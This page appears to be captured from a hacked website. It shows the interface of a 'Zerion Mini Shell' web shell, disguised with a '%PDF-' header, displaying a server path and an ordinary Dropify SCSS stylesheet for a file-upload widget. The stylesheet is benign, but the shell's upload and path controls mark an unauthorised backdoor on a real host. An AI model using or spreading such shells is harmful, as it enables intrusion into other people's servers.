%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/jalalj2hb/www/ftm-admin/assets/skins/dropify/sass/
Upload File :
Create Path :
Current File : /home/jalalj2hb/www/ftm-admin/assets/skins/dropify/sass/dropify.scss

$dropify-width:            100% !default;
$dropify-height:           200px !default;
$dropify-font-family:      "Roboto", "Helvetica Neue", "Helvetica", "Arial" !default;
$dropify-font-size:        14px !default;
$dropify-line-height:      22px !default;
$dropify-text-color:       #727272 !default;
$dropify-icon-color:       rgba(0, 0, 0, 0.26) !default;
$dropify-background:       #fff !default;
$dropify-border-size:      1px !default;
$dropify-border-color:     #e0e0e0 !default;
$dropify-infos-background: transparentize(#000, 0.3) !default;
$dropify-infos-color:      #fff !default;
$dropify-clear-color:      #e53935 !default;
$dropify-error-color:      #e53935 !default;
$dropify-stripes:          #F6F6F6 !default;
$dropify-font-path:        "../fonts" !default;

@import "dropify-font";

.dropify-wrapper {
    &,
    > * {
        box-sizing: border-box;
    }
    display: block;
    position: relative;
    cursor: pointer;
    overflow: hidden;
    width: $dropify-width;
    max-width: 100%;
    height: $dropify-height;
    padding: 0;
    font-family: $dropify-font-family;
    font-size: $dropify-font-size;
    line-height: $dropify-line-height;
    color: $dropify-text-color;
    background-color: $dropify-background;
    background-image: none;
    text-align: center;
    border: $dropify-border-size solid $dropify-border-color;
    box-sizing: border-box;
    &:hover {
        background-size: 30px 30px;
        background-image: linear-gradient(
            -45deg,
            $dropify-stripes 25%,
            transparent      25%,
            transparent      50%,
            $dropify-stripes 50%,
            $dropify-stripes 75%,
            transparent      75%,
            transparent
        );
        animation: stripes 2s linear infinite;
    }
    &.has-preview {
        .dropify-clear {
            display: block;
        }
    }
    &.has-error {
        .dropify-message span.file-icon {
            color: $dropify-clear-color;
        }
        .dropify-message .dropify-error {
            display: block;
        }
    }
    &.disabled {
        input {
            cursor: not-allowed;
        }
        &:hover {
            background-image: none;
            animation: none;
        }
        .dropify-message {
            opacity: 0.5;
            text-decoration: line-through;
        }
        .dropify-infos-message {
            display: none;
        }
    }
    input {
        position: absolute;
        top: 0;
        right: 0;
        bottom: 0;
        left: 0;
        height: 100%;
        width: 100%;
        opacity: 0;
        cursor: pointer;
        z-index: 5;
    }
    .dropify-message {
        position: relative;
        top: 50%;
        transform: translateY(-50%);
        span.file-icon {
            @extend .dropify-font;
            @extend .dropify-font-upload;
            font-size: 42px;
            color: $dropify-icon-color;
        }
        p {
            margin: 5px 0 0 0;
            &.dropify-error {
                color: $dropify-error-color;
                display: none;
            }
        }
    }
    .dropify-clear {
        cursor: pointer;
        display: none;
        position: absolute;
        opacity: 0;
        z-index: 7;
        top: 10px;
        right: 10px;
        text-transform: uppercase;
        font-family: $dropify-font-family;
        font-size: 11px;
        padding: 6px 12px;
        font-weight: bold;
        color: #fff !important;
        transition: all 0.15s linear;
        border: none;
        background: $dropify-clear-color;
        &:hover {
            text-decoration: underline;
        }
    }
    .dropify-preview {
        display: none;
        position: absolute;
        z-index: 1;
        background-color: $dropify-background;
        padding: 5px;
        width: 100%;
        height: 100%;
        top: 0;
        right: 0;
        bottom: 0;
        left: 0;
        overflow: hidden;
        text-align: center;
        .dropify-render {
            img {
                top: 50%;
                transform: translate(0, -50%);
                position: relative;
                max-width: 100%;
                max-height: 100%;
                background-color: $dropify-background;
                transition: border-color 0.15s linear;
            }
            i {
                font-size: 70px;
                top: 50%;
                left: 50%;
                transform: translate(-50%, -50%);
                position: absolute;
                color: #777;
            }
            .dropify-extension {
                position: absolute;
                top: 50%;
                left: 50%;
                transform: translate(-50%, -50%);
                margin-top: 10px;
                text-transform: uppercase;
                font-weight: 900;
                letter-spacing: -0.03em;
                font-size: 13px;
                width: 42px;
                white-space: nowrap;
                overflow: hidden;
                text-overflow: ellipsis;
            }
        }
        .dropify-infos {
            position: absolute;
            left: 0;
            top: 0;
            right: 0;
            bottom: 0;
            z-index: 3;
            background: $dropify-infos-background;
            opacity: 0;
            transition: opacity 0.15s linear;
            .dropify-infos-inner {
                position: absolute;
                top: 50%;
                transform: translate(0, -40%);
                backface-visibility: hidden;
                width: 100%;
                padding: 0 20px;
                transition: all 0.2s ease;
                p {
                    padding: 0;
                    margin: 0;
                    position: relative;
                    width: 100%;
                    white-space: nowrap;
                    overflow: hidden;
                    text-overflow: ellipsis;
                    color: $dropify-infos-color;
                    text-align: center;
                    line-height: 25px;
                    &.dropify-filename {
                        font-weight: bold;
                        span.file-icon {
                            @extend .dropify-font;
                            @extend .dropify-font-empty;
                            margin-right: 2px;
                        }
                    }
                    &.dropify-infos-message {
                        margin-top: 15px;
                        padding-top: 15px;
                        font-size: 13px;
                        position: relative;
                        opacity: 0.8;
                        &::before {
                            content: '';
                            position: absolute;
                            top: 0;
                            left: 50%;
                            transform: translate(-50%, 0);
                            background: $dropify-infos-color;
                            width: 30px;
                            height: 2px;
                        }
                    }
                }
            }
        }
    }
    &:hover {
        .dropify-clear {
            opacity: 1;
        }

        .dropify-preview {
            .dropify-infos {
                opacity: 1;

                .dropify-infos-inner {
                    margin-top: -5px;
                }
            }
        }
    }
    &.touch-fallback {
        height: auto !important;
        &:hover {
            background-image: none;
            animation: none;
        }
        .dropify-preview {
            position: relative;
            padding: 0;
             .dropify-render {
                display: block;
                position: relative;
                .dropify-font-file {
                    position: relative;
                    transform: translate(0, 0);
                    top: 0;
                    left: 0;
                    &::before {
                        margin-top: 30px;
                        margin-bottom: 30px;
                    }
                }
                img {
                    position: relative;
                    transform: translate(0, 0);
                }
            }
            .dropify-infos {
                position: relative;
                opacity: 1;
                background: transparent;
                .dropify-infos-inner {
                    position: relative;
                    top: 0;
                    transform: translate(0, 0);
                    padding: 5px 10px;
                    box-sizing: border-box;
                    p {
                        padding: 0;
                        margin: 0;
                        position: relative;
                        width: 100%;
                        white-space: nowrap;
                        overflow: hidden;
                        text-overflow: ellipsis;
                        color: $dropify-text-color;
                        text-align: left;
                        line-height: 20px;
                        &.dropify-filename {
                            font-weight: bold;
                            padding-top: 4px;
                            span.file-icon {
                                margin-right: 0;
                            }
                        }
                        &.dropify-infos-message {
                            margin-top: 0;
                            padding-top: 0;
                            font-size: 11px;
                            position: relative;
                            opacity: 1;
                            &::before {
                                display: none;
                            }
                        }
                    }
                }
            }
        }
        .dropify-message {
            transform: translate(0, 0);
            padding: 40px 0;
        }
        .dropify-clear {
            //top: auto;
            //bottom: 23px;
            opacity: 1;
            border-color: transparentize($dropify-text-color, 0.3);
            color: $dropify-text-color;
            z-index: 100;
        }
        &.has-preview {
            .dropify-message {
                display: none;
            }
        }
        &:hover {
            .dropify-preview {
                .dropify-infos {
                    .dropify-infos-inner {
                        margin-top: 0;
                    }
                }
            }
        }
    }
}

@keyframes stripes {
  from { background-position: 0 0; }
  to   { background-position: 60px 30px; }
}

Zerion Mini Shell 1.0